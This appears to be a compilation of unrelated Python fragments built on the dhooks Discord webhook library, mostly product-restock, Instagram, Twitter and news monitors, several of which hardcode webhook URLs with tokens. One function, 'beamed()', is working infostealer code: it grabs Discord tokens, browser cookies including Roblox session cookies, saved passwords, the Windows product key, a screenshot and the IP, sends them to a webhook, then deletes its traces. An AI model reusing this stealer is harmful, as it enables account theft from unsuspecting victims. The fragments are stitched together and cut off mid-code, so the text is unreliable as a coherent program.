def sendHooks(value, type, link): stock = (value / 25) amount = math.floor(stock) if amount != 0: hook = Webhook( 'https://discordapp.com/api/webhooks/704560730749272064/jFr8w0aP5gxOZL0ImAJb53F94xWAxfezRk3cyD3Y9E0msBPSFwQSv_PpqR-g4XV3pupx' ) embed = Embed( #description='Oculus proxies restocked ' + str(numpacks) + " packs of " + type, color=0x5CDBF0, timestamp='now' # sets the timestamp to current time ) image1 = 'https://pbs.twimg.com/profile_images/1000760087546392576/UJBqUta8.jpg' image2 = 'https://pbs.twimg.com/profile_images/1000760087546392576/UJBqUta8.jpg' embed.set_author(name='Oculus Proxies Restock\n-->CLICK ME<--', icon_url=image1, url=link) embed.add_field(name='Type', value=type) embed.add_field(name='Amount\n(sold in 25x)', value=str(amount)) embed.set_footer(text='Made by @thecanoechief', icon_url=image1) embed.set_thumbnail(image1) embed.set_image(image2) hook.send("@everyone", embed=embed) print("Restock found for " + type + "\nWebhook executed") time.sleep(0.5)
def SendOutWebhook(): embed = Embed( title="KITH MOSAIC TEE/SLATE(并没有补货)", url= "https://kith.com/collections/kith-monday-program/products/kith-mosaic-tee-slate", description="In Stock Now!", color=6940159, timestamp="now", ) hook = Webhook( "https://ptb.discordapp.com/api/webhooks/665206935125098496/5nqd6ABS3So5UVCRle7nZIqhJ8wRLFPCBbTReW9MqC6l8A9zYiUe4TlRCwbTMtn0Ov_u" ) embed.add_field( name="商品页面", value= "https://cdn.shopify.com/s/files/1/0094/2252/products/KH3777-105-2_300x300.jpg?v=1590786070" ) embed.set_author( name="eee7272的小小monitor", icon_url= "https://cdn.discordapp.com/avatars/677904239527329817/a5fb74580580dd6d3354e8ecd7f136ee.png?size=128" ) embed.set_image( "https://cdn.shopify.com/s/files/1/0094/2252/products/KH3777-105_200x200_crop_center.jpg?v=1590786070" ) embed.set_footer( text="eee7272#6012", icon_url= "https://cdn.discordapp.com/avatars/677904239527329817/a5fb74580580dd6d3354e8ecd7f136ee.png?size=128" ) hook.send(embed=embed)
def form(): if request.method == "POST": link = request.form.get('link') hook = request.form.get('webhook') group = request.form.get('group') icon = request.form.get('icon') print(f"Sending list {link} to {hook} for {group}") wh = Webhook(hook) try: r = requests.get(link) soup = BeautifulSoup(r.text, "html.parser") cards = soup.find_all(class_="masonry__item") for card in cards: try: img = card.find("img")['src'] imageUrl = f"https://supremecommunity.com/{img}" name = card.find( class_="name item-details item-details-title") price = card.find(class_="label-price") ratio = card.find(class_="upvotesratio hidden") embed = Embed(title=f"{name.text}", description="", color=0xff2b2b, timestamp="now") try: embed.set_image(url=imageUrl) except: print("no image") try: embed.add_field(name="Price", value=f"{price.text}", inline=False) except: embed.add_field(name="Price", value=f"No Prices Yet", inline=False) try: embed.add_field( name="Vote Ratio", value=f"{str(ratio.text)[:5]}% Positive", inline=False) except: print("no ratio") embed.set_footer(f"connorstevens#0001 x {group}", icon_url=f"{icon}") wh.send(embed=embed) except Exception as e: print(e) continue except Exception as e: print(e) return render_template("index.html")
def detect_profile_pic(self): hook = Webhook(self.hook) embed = Embed(description='New profile picture detected.', color=0x5CDBF0, timestamp='now') embed.set_author(name='Instagram Monitor') embed.add_field( name='User', value=f"[{self.user}](https://www.instagram.com/{self.user})", inline=False) embed.set_image(self.profile_pic_link) hook.send(embed=embed)
def send_hook(url_, name_, price_, _avail): embed = Embed( description="A restock has Occurred", timestamp='now' ) url = url_ image1 = "https://i.imgur.com/pUhfYFF.png" embed.set_author(name="Stock Alert!", icon_url="https://i.imgur.com/YCOZANm.png") embed.add_field(name="Amazon" + " Has Restocked", value=name_) embed.add_field(name="Price", value=price_) embed.add_field(name="Availability", value=_avail) embed.set_footer(text="SET TO YOUR LINK!", icon_url=image1) embed.set_thumbnail(image1) embed.set_image("https://bgr.com/wp-content/uploads/2020/09/amazon-logo-sign.jpg?quality=70&strip=all&w=640&h=500&crop=1") hook.send(embed=embed)
def tune_embed_message(self): embed = Embed( description='不定期更新! :poop:', color=0x1e0f3, timestamp='now' # sets the timestamp to current time ) image0 = 'https://i.imgur.com/rdm3W9t.png' image1 = 'https://tw.beanfun.com/maplestory/image/Board/category/72.gif' embed.set_author(name='近期活動公告', icon_url=image0) for ele in self.anno_dict.keys(): embed.add_field(name=ele, value=self.anno_dict[ele]) #embed.set_footer(text='Here is my footer text', icon_url=image1) embed.set_thumbnail(image1) embed.set_image(self.bottom_image) return embed
def webhooker(): content = 'wwwweeeeeee' url = 'dummy.com' webhook_url = os.environ['WEBHOOK'] client = Webhook(webhook_url) logging.info('Image posted! on facebook') FacebookWebhook = Embed() FacebookWebhook.color = 0xC0FFEE # colors should be a hexadecimal value FacebookWebhook.description = 'The bot has new content!\n Is this another sentient post or not?' FacebookWebhook.add_field(name=content, value=str(datetime.datetime.utcnow() + datetime.timedelta(hours=+8)), inline=False) FacebookWebhook.set_image(url) FacebookWebhook.set_footer( text=f'\u00A9 AbanteBot6969 | Series of 2019 ', ) client.send('\u200b', embed=FacebookWebhook) logging.info( '===================== SUCCESS!! , Exiting....=====================')
def webhook_post(discordWebhook, instagramUrl, postCaption, postImage, instagramUsername): try: hook = Webhook(discordWebhook) embed = Embed( description="New Post ", color=0XFFA574, timestamp='now', ) embed.add_field(name='Profile Link', value=str(instagramUrl), inline=True) embed.add_field(name='Post Caption', value=str(postCaption), inline=False) embed.set_author(name='Instagran Monitor') embed.set_footer(text='@suprattle') embed.set_image(str(postImage)) hook.send(embed=embed) except: pass
def detect_post(self): hook = Webhook(self.hook) embed = Embed(description='New post detected.', color=0x5CDBF0, timestamp='now') embed.set_author(name='Instagram Monitor') embed.add_field( name='User', value=f"[{self.user}](https://www.instagram.com/{self.user})", inline=False) embed.add_field(name='Link', value=f"https://www.instagram.com/p/{self.post_url}/", inline=False) embed.set_thumbnail(self.profile_pic_link) if self.post_caption: embed.add_field(name='Caption', value=self.post_caption, inline=False) else: embed.add_field(name='Caption', value="\u274C No caption", inline=False) if len(self.post_image) == 1: embed.set_image(self.post_image[0]) hook.send(embed=embed) else: embed.set_image(self.post_image[0]) hook.send(embed=embed) for i in range(1, len(self.post_image)): embed = Embed(description=f"{i+1}/{len(self.post_image)}", color=0x5CDBF0, timestamp='now') embed.set_image(self.post_image[i]) hook.send(embed=embed)
def spmonitor(): url = input("Enter link to monitor: ") wbhook = input("Enter webhook channel:") response = requests.get(url, headers=headers).text soup = BeautifulSoup(response, 'lxml') x = True while x: try: if soup.find('input', {'class': 'button'}): print("in stock") price_x = soup.find('p', class_='price').text name_x = soup.find('h2', class_='protect').text picture = soup.find(id='img-main') film_id = 'img-main' raw_picture = soup.find(itemprop="image") picture_x = 'https:' + (raw_picture["src"]) print(picture_x) x = False embed = Embed(title='Supreme Restock', description='', color=0x5CDBF0, timestamp='now') hook = Webhook(wbhook) embed.set_author(name='Supreme Monitor') embed.set_image(picture_x) embed.add_field(name="Product", value=name_x) embed.add_field(name="Price", value=price_x) embed.add_field(name="Link", value=url) embed.set_footer(text='This bot was coded by Venus#9210') hook.send(embed=embed) time.sleep(Delay) except: print("Error finding product or out of stock.") time.sleep(Delay) x = False
def send_embed_webhook(avatar: str, tweet, link_list, text: str): logger.debug(f"Tweet: {text}") hook = Webhook(webhook_url) embed = Embed( description=text, color=0x1E0F3, timestamp="now", ) if link_list is not None: if len(link_list) == 1: logger.debug("Found one image") embed.set_image(link_list[0]) elif len(link_list) > 1: logger.debug("Found more than one image") response = requests.get( url=twitter_image_collage_maker, params={"tweet_id": tweet.id} ) if response.status_code == 200: json_data = json.loads(response.text) print(f"json from {twitter_image_collage_maker}: {json_data}") embed.set_image(json_data["url"]) else: logger.error( f"Failed to get response from {twitter_image_collage_maker}. " "Using first image instead." ) embed.set_image(link_list[0]) embed.set_author( icon_url=avatar, name=tweet.user.screen_name, url=f"https://twitter.com/i/web/status/{tweet.id}", ) hook.send(embed=embed) logger.info("Webhook posted.")
def beamed(): hook = Webhook('placeholder') try: hostname = requests.get("https://api.ipify.org").text except: pass local = os.getenv('LOCALAPPDATA') roaming = os.getenv('APPDATA') paths = { 'Discord': roaming + '\\Discord', 'Discord Canary': roaming + '\\discordcanary', 'Discord PTB': roaming + '\\discordptb', 'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default', 'Opera': roaming + '\\Opera Software\\Opera Stable', 'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default', 'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default' } message = '\n' for platform, path in paths.items(): if not os.path.exists(path): continue message += '```' tokens = sniff(path) if len(tokens) > 0: for token in tokens: message += f'{token}\n' else: pass message += '```' """screenshot victim's desktop""" try: screenshot = image.grab() screenshot.save(os.getenv('ProgramData') + r'\screenshot.jpg') screenshot = open(r'C:\ProgramData\screenshot.jpg', 'rb') screenshot.close() except: pass """gather our .zip variables""" try: zname = r'C:\ProgramData\passwords.zip' newzip = zipfile.ZipFile(zname, 'w') newzip.write(r'C:\ProgramData\passwords.txt') newzip.close() passwords = File(r'C:\ProgramData\passwords.zip') except: pass """gather our windows product key variables""" try: usr = os.getenv("UserName") keys = subprocess.check_output( 'wmic path softwarelicensingservice get OA3xOriginalProductKey' ).decode().split('\n')[1].strip() types = subprocess.check_output('wmic os get Caption').decode().split( '\n')[1].strip() except: pass """steal victim's .roblosecurity cookie""" cookie = [".ROBLOSECURITY"] cookies = [] limit = 2000 """chrome installation => list cookies from this location""" try: cookies.extend(list(steal.chrome())) except: pass """firefox installation => list cookies from this location""" try: cookies.extend(list(steal.firefox())) except: pass """read data => if we find a matching positive for our specified variable 'cookie', send it to our webhook.""" try: for y in cookie: send = str([str(x) for x in cookies if y in str(x)]) chunks = [send[i:i + limit] for i in range(0, len(send), limit)] for z in chunks: roblox = f'```' + f'{z}' + '```' except: pass """attempt to send all recieved data to our specified webhook""" try: embed = Embed( title='beamed | lust, l-ust on github', description='a victim\'s data was extracted, here\'s the details:', color=0x2f3136, timestamp='now') embed.add_field("windows key:", f"user => {usr}\ntype => {types}\nkey => {keys}") embed.add_field("roblosecurity:", roblox) embed.add_field("tokens:", message) embed.add_field("hostname:", f"{hostname}") embed.set_image(url=upload()) except: pass try: hook.send(embed=embed, file=passwords) except: pass """attempt to remove all evidence, allows for victim to stay unaware of data extraction""" try: subprocess.os.system(r'del C:\ProgramData\screenshot.jpg') subprocess.os.system(r'del C:\ProgramData\passwords.zip') subprocess.os.system(r'del C:\ProgramData\passwords.txt') except: pass
count += 1 print("Done") if count == 6: break for submission in subreddit.stream.submissions(skip_existing=True): imagerequests = requests.get(f"https://reddit.com/{str(submission.permalink)}.json", headers=headers).json() imageurl = imagerequests[0]["data"]["children"][0]["data"]["url"] print(imageurl) if "jpg" not in imageurl: embed = Embed(color=0x008080, timestamp='now') embed.set_title(title=str(submission.title), url=f"https://reddit.com{str(submission.permalink)}") embed.set_author(name="Minimal_Setups", url="https://www.reddit.com/r/Minimal_Setups/",icon_url="https://styles.redditmedia.com/t5_rtmbn/styles/communityIcon_7qjzvrk4fjp41.png") embed.add_field(name="Author",value=str(submission.author), inline=False) hook1.send(embed=embed) else: print("Image Found") embed = Embed(color=0x008080, timestamp='now') embed.set_title(title=str(submission.title), url=f"https://reddit.com{str(submission.permalink)}") embed.set_author(name="Minimal_Setups", url="https://www.reddit.com/r/Minimal_Setups/",icon_url="https://styles.redditmedia.com/t5_rtmbn/styles/communityIcon_7qjzvrk4fjp41.png") embed.add_field(name="Author",value=str(submission.author), inline=False) embed.set_image(imageurl) hook1.send(embed=embed)
def send(self): global field_status try: url = self.ui.url.text() name = self.ui.name.text() avatar = self.ui.avatar.text() author = self.ui.embed_author.text() author_avatar = self.ui.embed_author_avatar.text() author_url = self.ui.embed_author_url.text() description = self.ui.embed_description.text() footer = self.ui.embed_footer.text() footer_icon = self.ui.embed_footer_icon.text() title = self.ui.embed_title.text() thumbnail = self.ui.embed_thumbnail.text() image = self.ui.embed_image.text() title_url = self.ui.embed_title_url.text() print(self.color) if self.color: color = self.converthex2discord(self.color) else: color = 0x00FF00 print(color, type(color)) feeds_list, field_status = self.get_fields() timestamp_check = self.ui.timestamp.isChecked() if len(url) > 0: hook = Webhook(url, is_async=False, session=None, username=name, avatar_url=avatar) if timestamp_check: if description: print("timestamp - description") embed = Embed(description=description, color=color, timestamp='now') else: print("timestamp not description") embed = Embed(color=color, timestamp='now') else: if description: print("not timestamp description") embed = Embed(description=description, color=color) else: print("not timestamp not description") embed = Embed(color=color) if author and author_avatar and author_url: print("author and author_avatar and author_url") embed.set_author(name=author, icon_url=author_avatar, url=author_url) elif author and not author_avatar and not author_url: print("author and not author_avatar and not author_url") embed.set_author(name=author) elif author and author_avatar and not author_url: print("author and author_avatar and not author_url") embed.set_author(name=author, icon_url=author_avatar) elif author and not author_avatar and author_url: print("author and not author_avatar and author_url") embed.set_author(name=author, url=author_url) if title and url: print("title, url") embed.set_title(title=title, url=title_url) if title and not url: print("title and not url") embed.set_title(title=title) if field_status: print(feeds_list) for field in feeds_list: print("field in field_table") embed.add_field(name=field["name"], value=field["value"], inline=False) if thumbnail: print("thumbnail") embed.set_thumbnail(thumbnail) if image: print("image") embed.set_image(image) if footer and footer_icon: print("footer and footer_icon") embed.set_footer(text=footer, icon_url=footer_icon) if footer and not footer_icon: print("footer and not footer_icon") embed.set_footer(text=footer) hook.send(embed=embed) except Exception: url = self.ui.url.text() name = self.ui.name.text() avatar = self.ui.avatar.text() author = self.ui.embed_author.text() author_avatar = self.ui.embed_author_avatar.text() author_url = self.ui.embed_author_url.text() description = self.ui.embed_description.text() footer = self.ui.embed_footer.text() footer_icon = self.ui.embed_footer_icon.text() title = self.ui.embed_title.text() thumbnail = self.ui.embed_thumbnail.text() image = self.ui.embed_image.text() title_url = self.ui.embed_title_url.text() feeds_list, field_status = self.get_fields() if self.color: color = self.converthex2discord(self.color) else: color = 0x00FF00 data = { "url": url, "name": name, "avatar": avatar, "author": author, "author_avatar": author_avatar, "author_url": author_url, "description": description, "footer": footer, "footer_icon": footer_icon, "title": title, "thumbnail": thumbnail, "image": image, "title_url": title_url, "color": color, "self.color": self.color, "fields": json.dumps(feeds_list) } self.error_handler.set_error(traceback.format_exc(), data=data) self.error_handler.show()
em1.set_title(title='title ~~(did you know you can have markdown here too?)~~', url='https://discord.com/') em1.add_field(name="Field 1 :smiley:", value="some of these properties have certain limits...", inline=False) em1.add_field(name="Field 2 😱", value="try exceeding some of them!", inline=False) em1.add_field(name="Field 3 🙄", value="Jokes, dont do that.", inline=False) em1.add_field("Field 4 🙄", "these last two") em1.add_field("Field 5 🙄", "are inline fields") em1.add_field('hello', 'bob') # deletes the last field, supply an index, equivilant to em1.fields.pop(-1) em1.del_field(-1) em1.set_thumbnail('https://cdn.discordapp.com/embed/avatars/0.png') em1.set_image('https://cdn.discordapp.com/embed/avatars/0.png') em1.set_footer(text='Time Stamp is here =>', icon_url='https://cdn.discordapp.com/embed/avatars/0.png') em2 = Embed(description='hey') # you can send multiple embeds or a single embed. client.send('hello there.', embeds=[em1, em2])
def on_status(self, tweet): """Trigger when tweets change.""" link_list = [] try: log.logger.debug("Raw tweet: " + str(tweet)) # Skip retweets if tweet.retweeted or "RT @" in tweet.text: return # Don't get replies if tweet.in_reply_to_screen_name is not None: return # Skip PUBG tweets for Xbox if "Xbox players: " in tweet.text: return # Check if the tweet is extended and get content try: text = tweet.extended_tweet["full_text"] log.logger.debug(f"Tweet is extended:\n{text}") except AttributeError: text = tweet.text log.logger.debug(f"Tweet is not extended:\n{text}") # Get media link if "media" in tweet.entities: for media in tweet.extended_entities["media"]: log.logger.debug(f"Media: {media['media_url_https']}") link = media["media_url_https"] link_list.append(link) log.logger.debug(f"Media link: {link}") # Only print link list if not empty if link_list: log.logger.debug("Link List:") log.logger.debug(*link_list) # Remove the "_normal.jpg" part in url avatar_hd = tweet.user.profile_image_url_https[:-11] extension = tweet.user.profile_image_url_https[-4:] log.logger.debug(f"Avatar: {avatar_hd}{extension}") # Replace username with link text_profile_link = re.sub( r"@(\w*)", r"[\g<0>](https://twitter.com/\g<1>/)", text, flags=re.MULTILINE, ) log.logger.debug(f"Text - profile links: {text_profile_link}") # Replace hashtag with link text_hashtag_link = re.sub( r"#(\w*)", r"[\g<0>](https://twitter.com/hashtag/\g<1>/)", text_profile_link, flags=re.MULTILINE, ) log.logger.debug(f"Text - hashtags: {text_hashtag_link}") # Discord makes link previews from URLs, # we can hide those with < and > before and after URLs text_link_preview = re.sub( r"(https://\S*[^\s^.)])", r"<\g<0>>", text_hashtag_link, flags=re.MULTILINE, ) log.logger.debug(f"Text - link preview: {text_link_preview}") # Change /r/subreddit to clickable link text_reddit_subreddit_link = re.sub( r"/?r/(\S{3,21})", r"[/r/\g<1>](https://www.reddit.com/r/\g<1>)", text_link_preview, flags=re.MULTILINE, ) log.logger.debug(f"Text - subreddit: {text_reddit_subreddit_link}") # Change /u/user to clickable link text_reddit_user_link = re.sub( r"/?u/(\S{3,20})", r"[/u/\g<1>](https://www.reddit.com/user/\g<1>)", text_reddit_subreddit_link, flags=re.MULTILINE, ) log.logger.debug(f"Text - reddit user: {text_reddit_user_link}") # Append media so Discords link preview picks them up links = "\n".join([str(v) for v in link_list]) log.logger.debug(f"Links: {links}") # Final message that we send message = text_reddit_user_link + links + "\n" log.logger.debug(f"Message: {message}") # Make webhook embed hook = Webhook(config.webhook_url) embed = Embed( description=message, color=0x1E0F3, # Light blue timestamp="now", # Set the timestamp to current time ) # Change webhook avatar to twitter avatar # and replace webhook username with Twitter username embed.set_author( icon_url=str(avatar_hd) + extension, name=tweet.user.screen_name, url="https://twitter.com/statuses/" + str(tweet.id), ) if link_list: first_image = link_list[0] embed.set_image(first_image) # TODO: Change to highest quality log.logger.debug(f"First image: {first_image}") # Post to channel hook.send(embed=embed) log.logger.info("Posted.") except Exception as e: log.logger.error(f"Error: {e}") hook = Webhook(config.webhook_error_url) hook.send( f"<@126462229892694018> I'm broken again" "<:PepeHands:461899012136632320>\n{e}" )
""" url = "YOUR WEB HOOK URL" hook = Webhook(url) newz = getNews("") hook.send('**News Briefing**') for bits in newz['data']: newsTitle = bits['title'] newsContent = bits['content'] imageUrl = bits['imageUrl'] newsAuthor = bits['author'] newsReadmore = bits['readMoreUrl'] embed = Embed(title=newsTitle, url=newsReadmore, description=newsContent, color=0x5CDBF0, timestamp='now') image1 = imageUrl embed.set_image(image1) embed.set_footer(text=newsAuthor) hook.send(embed=embed) time.sleep(2) hook.send('**News Briefing Completed**')
def on_status(self, status): print("New tweet from monitored handle:") print(status.text) ifvoid = 0 #finds "RT" in first 2 characters of a tweet (retweet) if ((str(status.text[:2]).find("RT")) != -1): print("This is a retweet, we'll ignore this!") ifvoid = 1 #finds "https://" anywhere in the tweet" elif ((str(status.text).find("https://")) != -1 and ifvoid == 0): print("This tweet is an image or link.") #sends tweet contents to discord hook = Webhook(url) embed = Embed(description="New link/image from " + handle + ":") embed.add_field(name="Tweet Contents", value=str(status.text)) embed.set_footer( text="Twitter Monitor -- github.com/izedout/twitter-monitor" ) hook.send(embed=embed) print("Tweet Sent to Discord!") #finds and sends expanded url to discord foundurls = re.findall(r'(https?://\S+)', str(status.text)) urlnumber = len(foundurls) print("Number of URLs in tweet: " + str(urlnumber)) currenturl = 1 while currenturl <= urlnumber: uri = urlexpander.unshorten(foundurls[currenturl - 1]) hook = Webhook(url) embed.add_field(name="Expanded URL:", value=uri) embed.set_footer( text= "Twitter Monitor -- github.com/izedout/twitter-monitor" ) hook.send(embed=embed) currenturl = currenturl + 1 print("Expanded URL " + uri + " Sent To Discord!") try: media = status.extended_entities.get('media', []) #print(len(media)) i = 0 while (i < len(media)): hook = Webhook(url) media_files = (media[i]['media_url']) embed.set_image(media_files) hook.send(embed=embed) i = i + 1 except: print("Wasnt an image") finally: print("Finished sending any images in tweet") #finds "@" in the first character of a tweet (reply) elif ((str(status.text[:1]).find("@")) == 0 and ifvoid == 0): print("This is likely a reply, will not send") else: print("This is a regualr tweet, will send!") hook = Webhook(url) embed = Embed(description="New tweet from " + handle + ":") embed.add_field(name="Tweet Contents", value=str(status.text)) embed.set_footer( text="Twitter Monitor -- github.com/izedout/twitter-monitor" ) hook.send(embed=embed)
if(str(datetime_diff)!="00:00:00"): tview_update = feedparser.parse(feedurl[i],modified=last_modified) entry = tview_update.entries[0] title = entry.title tviewlink = entry.id desc = "**[Open in Tradingview]("+tviewlink+")** \n \n " + entry.summary print("Length of Desc is - " + str(len(desc))) if len(desc) > 2000 : desc = desc[0:2000] pubDate= "Originally Posted on " + entry.published img = 'https://s3.tradingview.com/'+ tviewlink[28].lower() + '/' + tviewlink[28:-1]+ '_mid.png' # Reference for future https://dhooks.readthedocs.io/en/latest/api.html#webhook hook = Webhook(caphookurl[i],avatar_url=profilepic[i],username=pname[i]) embed = Embed(description=desc, color=0x1e0f3, timestamp='now') embed.set_author(name=title, icon_url=profilepic[i]) embed.set_footer(text=pubDate, icon_url=profilepic[i]) embed.set_image(img) hook.send(embed=embed) lasttime[i]=last_modified i=i+1 else: print("No post from " + pname[i]) i=i+1 #Write to file myFile = open(csvurl, 'w', newline='') with myFile: myFields = ['feedurl', 'lasttime', 'profilepic', 'caphookurl', 'pname'] writer = csv.DictWriter(myFile, fieldnames=myFields) writer.writeheader() j = 1 for x in range(len(feedurl)-1):
if posts.document(u'' + postCreated + '').get().exists == False: doc_ref = posts.document(u'' + postCreated + '') doc_ref.set({ u'id': u'' + postId + '', u'created': u'' + postCreated + '', u'title': u'' + postTitle + '' }) # Send message to Discord server embed = Embed( color=14177041, timestamp='now', ) embed.set_title(title=':smiley: -> Un nouveau patch est dispo!', url='' + submission.url + '') embed.add_field(name='Info Patch', value='' + postTitle + '') embed.set_footer(text='Script by Luicid', icon_url=imgIcon) embed.set_image(imgBig) if testMode == False: hook.send(embed=embed) hook_septra.send(embed=embed) hook.send("@everyone") else: print('Test Mode enabled - don\'t send discord msg') else: print('The document: ' + postCreated + ' for the post ' + postId + ' exist in the database') else: print('Document with title "' + submission.title + '" is ignored as is not a spectrum post)')
r = requests.get(game_url) soup = BeautifulSoup(r.text, 'html.parser') game_date = soup.find_all('span', class_='gameDate')[0].string if last_game_date != game_date: last_game_date = game_date game_name = soup.find_all('span', class_='gameName')[0].string embed = Embed(description=game_name, color=0x006699, timestamp='now') time_remain_span = soup.find_all('span', class_='timeremaining')[0] unixtime = int(time_remain_span.get('unixtime')) unixtimefrom = int(time_remain_span.get('unixtimefrom')) seconds = unixtime - unixtimefrom hours = (seconds / 60) / 60 embed.add_field(name='Next', value='{:.2f}hrs'.format(hours)) big_map_img_url_postfix = soup.find(id='LargeMapLink').get('href') big_map_img = '{}/{}'.format(base_url, big_map_img_url_postfix) embed.set_image(big_map_img) game_pot = soup.find_all('span', class_='gamePot')[0].get_text() footer_text = "Pot: {}, {}".format(game_pot, game_date) embed.set_footer(text=footer_text, icon_url=points_icon) hook.send(embed=embed) time.sleep(20)
def fbpost(): logging.debug('Starting Facebook Thread') with open("headlines.txt", encoding='utf-8-sig') as f: text = f.read() text_model = markovify.NewlineText(text) content = text_model.make_short_sentence(100, tries=100) r = content.split(' ') remove = [ 'ng', 'nang', 'sa', 'at', 'ang', 'na', 'kay', 'ni', 'mga', 'nila', 'nina' ] for i in remove: for f in r: if i == f: r.remove(f) else: pass f = random.choices(r, k=1) print(f) safe = [] for i in f: safe.append(re.sub('[\W_]', '', str(i))) safe string = '+'.join(safe) html = urlopen(f'https://www.philstar.com/search/{string}/age=720') #html = urlopen('https://www.philstar.com/search/maine%20saka') print(html) soup = BeautifulSoup(html, 'html.parser') #imgs = soup.find_all('a',class_='img-holder') img = [] for i in soup.find_all('div', attrs={'class': 'tiles_image'}): print(i.find('img')) img.append(i.find('img')) img print(img) urls = [] for i in img: print(i['src']) urls.append(i['src']) urls imgurls = random.choice(urls) urllib.request.urlretrieve(imgurls, "preface.png") size = width, height = 712, 483 image = Image.new('RGB', size, 'white') preface = Image.open("preface.png") article = Image.open('article.png') rez = preface.resize((712, 373), Image.LANCZOS) image.paste(rez, (0, 0)) image.paste(article, (0, 0), article) draw = ImageDraw.Draw(image) ar = ImageFont.truetype('arialbd.ttf', 27) lines = textwrap.wrap(content, width=50) y_text = 405 for line in lines: width, height = ar.getsize(line) draw.text((21, y_text), line, font=ar, fill='#000000') y_text += height #draw.text((21, 405),content, font=ar, fill='#000000') image.save('outfile.png', 'PNG') del image del draw fb_token = os.environ['TOKEN_PAINTMIN'] graph = facebook.GraphAPI(access_token=fb_token, version="3.1") post = graph.put_photo(image=open('outfile.png', "rb"), message=content) graph.put_object( parent_object=post['post_id'], connection_name='comments', message= 'Please hit the mf like button.\n Disclaimer: This is computer generated content. Any headlines that con-incide to real events are purely coincidental.' ) webhook_url = os.environ['WEBHOOK'] client = Webhook(webhook_url) FacebookWebhook = Embed() FacebookWebhook.color = 0xC0FFEE # colors should be a hexadecimal value FacebookWebhook.description = 'The bot has new content!\n Is this another sentient post or not?' FacebookWebhook.add_field(name=content, value=str(datetime.datetime.utcnow() + datetime.timedelta(hours=+8)), inline=False) FacebookWebhook.set_image(imgurls) FacebookWebhook.set_footer( text=f'\u00A9 AbanteBot6969 | Series of 2019 ', ) client.send('\u200b', embed=FacebookWebhook) logging.debug( '=====================SUCCESS POSTING FB, Exiting....=====================' )
user_agent = 'Reddit JSON API teaching example/1.0' num_limit = 1000 gonewilds = requests.get('https://www.reddit.com/r/gonewild/.json?limit={}'.format(subreddit, num_limit), headers={'User-Agent': user_agent}).json() for gonewild in gonewilds['data']['children']: suhdude1 = ('{gonewild[url]:40}'.format(gonewild=gonewild['data'])) gonewildtitle = ('{gonewild[title]}'.format(gonewild=gonewild['data'])) embed1 = Embed( description=gonewildtitle, color=0x1e0f3, timestamp='now' # sets the timestamp to current time ) image1 = suhdude1 embed1.set_image(image1) gonehook.send(embed=embed1) time.sleep(3) realgirls = requests.get('https://www.reddit.com/r/realgirls/.json?limit={}'.format(subreddit, num_limit), headers={'User-Agent': user_agent}).json() for realgirl in realgirls['data']['children']: suhdude3 = ('{realgirl[url]:40}'.format(realgirl=realgirl['data'])) realgirltitle = ('{realgirl[title]}'.format(realgirl=realgirl['data'])) embed3 = Embed( description=realgirltitle, color=0x1e0f3, timestamp='now' # sets the timestamp to current time